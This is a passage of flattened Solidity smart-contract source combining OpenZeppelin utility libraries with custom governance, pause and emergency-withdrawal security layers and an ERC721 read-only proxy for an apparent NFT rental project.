receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; /** * Ensure that any contracts that inherits from this has level 4 of security */ import "Allowlistable.sol"; import "Security3.sol"; contract Security4 is Security3, Allowlistable { constructor( address _governance, address _operator, address payable _emergencyImplementation ) Security3(_governance, _operator, _emergencyImplementation) {} function enableAllowlist() public virtual override onlyGovernance { super.enableAllowlist(); } function disableAllowlist() public virtual override onlyGovernance { super.disableAllowlist(); } function allow(address[] calldata users) public virtual override onlyOperatorOrGovernance { super.allow(users); } function disallow(address[] calldata users) public virtual override onlyGovernance { super.disallow(users); } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; /** * Simple allowlist mechanism */ contract Allowlistable { bool public allowlistEnabled; mapping(address => bool) public allowlist; modifier onlyAllowlisted() { require( !allowlistEnabled || _isAllowlisted(msg.sender), "User not allowed" ); _; } function enableAllowlist() public virtual { allowlistEnabled = true; } function disableAllowlist() public virtual { allowlistEnabled = false; } function allow(address[] calldata users) public virtual { for (uint256 i = 0; i < users.length; i++) { allowlist[users[i]] = true; } } function disallow(address[] calldata users) public virtual { for (uint256 i = 0; i < users.length; i++) { allowlist[users[i]] = false; } } function _isAllowlisted(address user) internal virtual returns (bool) { return allowlist[user]; } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; /** * Ensure that any contracts that inherits from this has level 3 of security */ import "Security2.sol"; contract Security3 is Security2 { address payable public emergencyImplementation; modifier whenPausedthenProxy() { if (paused()) { thenProxy(); } else { _; } } constructor( address _governance, address _operator, address payable _emergencyImplementation ) Security2(_governance, _operator) { require( _emergencyImplementation != address(0), "Emergency implementation cannot be null" ); emergencyImplementation = _emergencyImplementation; } /** * @dev Set emergency implementation * @param _emergencyImplementation emergency implementation address. */ function setEmergencyImplementation( address payable _emergencyImplementation ) public virtual onlyGovernance { emergencyImplementation = _emergencyImplementation; } function thenProxy() internal virtual { address payable _emergencyImplementation = emergencyImplementation; // solhint-disable-next-line no-inline-assembly assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize()) let result := delegatecall( gas(), _emergencyImplementation, free_ptr, calldatasize(), 0, 0 ) returndatacopy(free_ptr, 0, returndatasize()) if iszero(result) { revert(free_ptr, returndatasize()) } return(free_ptr, returndatasize()) } } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; /** * Ensure that any contracts that inherits from this has level 2 of security */ import "Security1.sol"; contract Security2 is Security1 { constructor(address _governance, address _operator) Security1(_governance, _operator) {} /** * @dev Executy any tx in emergency (only governance) */ function emergencyExecute( address to, uint256 value, bytes memory data, bool isDelegateCall, uint256 txGas ) public payable virtual whenPaused onlyGovernance { bool success; if (isDelegateCall) { // solhint-disable-next-line no-inline-assembly assembly { success := delegatecall( txGas, to, add(data, 0x20), mload(data), 0, 0 ) } } else { // solhint-disable-next-line no-inline-assembly assembly { success := call( txGas, to, value, add(data, 0x20), mload(data), 0, 0 ) } } require(success, "failed execution"); } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "Pausable.sol"; import "Manageable.sol"; import "Withdrawable.sol"; /** * Ensure that any contracts that inherits from this has level 1 of security */ contract Security1 is Manageable, Withdrawable, Pausable { constructor(address _governance, address _operator) Manageable(_governance, _operator) { require(governance != address(0), "Governance cannot be null"); } /** * @dev Pause all operations */ function SCRAM() public onlyOperatorOrGovernance { _pause(); } /** * @dev Returns to normal state. */ function unpause() public onlyGovernance { _unpause(); } function emergencyWithdrawERC20ETH(address _assetAddress) public virtual onlyGovernance whenPaused { _withdrawERC20ETH(_assetAddress); } function emergencyWithdrawERC721( address _assetAddress, uint256 _tokenId, bool _notSafe ) public virtual onlyGovernance whenPaused { _withdrawERC721(_assetAddress, _tokenId, _notSafe); } function emergencyBatchWithdrawERC721( address _assetAddress, uint256[] calldata _tokenIds, bool _notSafe ) public virtual onlyGovernance whenPaused { _batchWithdrawERC721(_assetAddress, _tokenIds, _notSafe); } function emergencyWithdrawERC1155(address _assetAddress, uint256 _tokenId) public virtual onlyGovernance whenPaused { _withdrawERC1155(_assetAddress, _tokenId); } function emergencyBatchWithdrawERC1155( address _assetAddress, uint256[] calldata _tokenIds ) public virtual onlyGovernance whenPaused { _batchWithdrawERC1155(_assetAddress, _tokenIds); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; /** * Simple two-roles contract, governance and operator * Operator can be changed only by governance * Governance update needs acceptance */ contract Manageable { //TODO events address public pendingGovernance; address public governance; address public operator; modifier onlyGovernance() { require(msg.sender == governance, "Only Governance"); _; } modifier onlyOperatorOrGovernance() { require( msg.sender == operator || msg.sender == governance, "Only Operator or Governance" ); _; } constructor(address _governance, address _operator) { governance = _governance; operator = _operator; } /** * @dev Set operator * @param _operator operator address. */ function setOperator(address _operator) public virtual onlyGovernance { operator = _operator; } /** * @dev Set new governance * @param _governance governance address. */ function setGovernance(address _governance) public virtual onlyGovernance { pendingGovernance = _governance; } /** * @dev Accept proposed governance */ function acceptGovernance() public virtual { require(msg.sender == pendingGovernance, "Only Proposed Governance"); governance = pendingGovernance; pendingGovernance = address(0); } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "IERC20.sol"; import "IERC721.sol"; import "IERC1155.sol"; import {SafeERC20} from "SafeERC20.sol"; /** Ensures that any contract that inherits from this contract is able to withdraw funds that are accidentally received or stuck. */ contract Withdrawable { using SafeERC20 for IERC20; address constant ETHER = address(0); event LogWithdraw( address indexed _from, address indexed _assetAddress, uint256 indexed tokenId, uint256 amount ); /** * @dev Withdraw asset ERC20 or ETH * @param _assetAddress Asset to be withdrawn. */ function _withdrawERC20ETH(address _assetAddress) internal virtual { uint256 assetBalance; if (_assetAddress == ETHER) { address self = address(this); // workaround for a possible solidity bug assetBalance = self.balance; payable(msg.sender).transfer(assetBalance); } else { assetBalance = IERC20(_assetAddress).balanceOf(address(this)); IERC20(_assetAddress).safeTransfer(msg.sender, assetBalance); } emit LogWithdraw(msg.sender, _assetAddress, 0, assetBalance); } /** * @dev Withdraw asset ERC721 * @param _assetAddress token address. * @param _tokenId token id. * @param _notSafe use safeTransfer. */ function _withdrawERC721( address _assetAddress, uint256 _tokenId, bool _notSafe ) internal virtual { if (_notSafe) { IERC721(_assetAddress).transferFrom( address(this), msg.sender, _tokenId ); } else { IERC721(_assetAddress).safeTransferFrom( address(this), msg.sender, _tokenId ); } emit LogWithdraw(msg.sender, _assetAddress, _tokenId, 1); } /** * @dev Batch withdraw asset ERC721 * @param _assetAddress token address. * @param _tokenIds token ids. */ function _batchWithdrawERC721( address _assetAddress, uint256[] calldata _tokenIds, bool _notSafe ) internal virtual { for (uint256 i = 0; i < _tokenIds.length; i++) { _withdrawERC721(_assetAddress, _tokenIds[i], _notSafe); } } /** * @dev Withdraw asset ERC1155 * @param _assetAddress token address. * @param _tokenId token id. */ function _withdrawERC1155(address _assetAddress, uint256 _tokenId) internal virtual { uint256 assetBalance = IERC1155(_assetAddress).balanceOf( address(this), _tokenId ); IERC1155(_assetAddress).safeTransferFrom( address(this), msg.sender, _tokenId, assetBalance, "" ); emit LogWithdraw(msg.sender, _assetAddress, _tokenId, assetBalance); } /** * @dev Batch withdraw asset ERC1155 * @param _assetAddress token address. * @param _tokenIds token ids. */ function _batchWithdrawERC1155( address _assetAddress, uint256[] calldata _tokenIds ) internal virtual { for (uint256 i = 0; i < _tokenIds.length; i++) { _withdrawERC1155(_assetAddress, _tokenIds[i]); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "ERC721ReadOnlyProxy.sol"; interface IORentableHooks { function afterOTokenTransfer( address tokenAddress, address from, address to, uint256 tokenId ) external ; } contract ORentable is ERC721ReadOnlyProxy { address internal _rentable; string constant PREFIX = "o"; constructor(address wrapped_) ERC721ReadOnlyProxy(wrapped_, PREFIX) {} function init(address wrapped, address owner) external virtual { _init(wrapped, PREFIX, owner); } function setRentable(address rentable_) external onlyOwner { _rentable = rentable_; _minter = rentable_; } function getRentable() external view returns (address) { return _rentable; } function _transfer( address from, address to, uint256 tokenId ) internal virtual override { super._transfer(from, to, tokenId); IORentableHooks(_rentable).afterOTokenTransfer(_wrapped, from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "OwnableUpgradeable.sol"; import "ERC721Upgradeable.sol"; contract ERC721ReadOnlyProxy is OwnableUpgradeable, ERC721Upgradeable { address internal _wrapped; address internal _minter; modifier onlyMinter() { require(_msgSender() == _minter, "Only minter"); _; } constructor(address wrapped, string memory prefix) { _init(wrapped, prefix, _msgSender()); } function _init( address wrapped, string memory prefix, address owner ) internal initializer { __ERC721_init( string(abi.encodePacked(prefix, ERC721Upgradeable(wrapped).name())), string( abi.encodePacked(prefix, ERC721Upgradeable(wrapped).symbol()) ) ); __Context_init_unchained(); _transferOwnership(owner); _wrapped = wrapped; } function getWrapped() external view returns (address) { return _wrapped; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return IERC721MetadataUpgradeable(_wrapped).tokenURI(tokenId); } function getMinter() external view returns (address) { return _minter; } function setMinter(address minter_) external onlyOwner { _minter = minter_; } function mint(address to, uint256 tokenId) external onlyMinter returns (uint256) { _mint(to, tokenId); return tokenId; } function burn(uint256 tokenId) external virtual onlyMinter { _burn(tokenId); } fallback() external { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize()) let result := staticcall( gas(), sload(_wrapped.slot), free_ptr, calldatasize(), 0, 0 ) returndatacopy(free_ptr, 0, returndatasize()) if iszero(result) { revert(free_ptr, returndatasize()) } return(free_ptr, returndatasize()) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "ContextUpgradeable.sol"; import "Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is 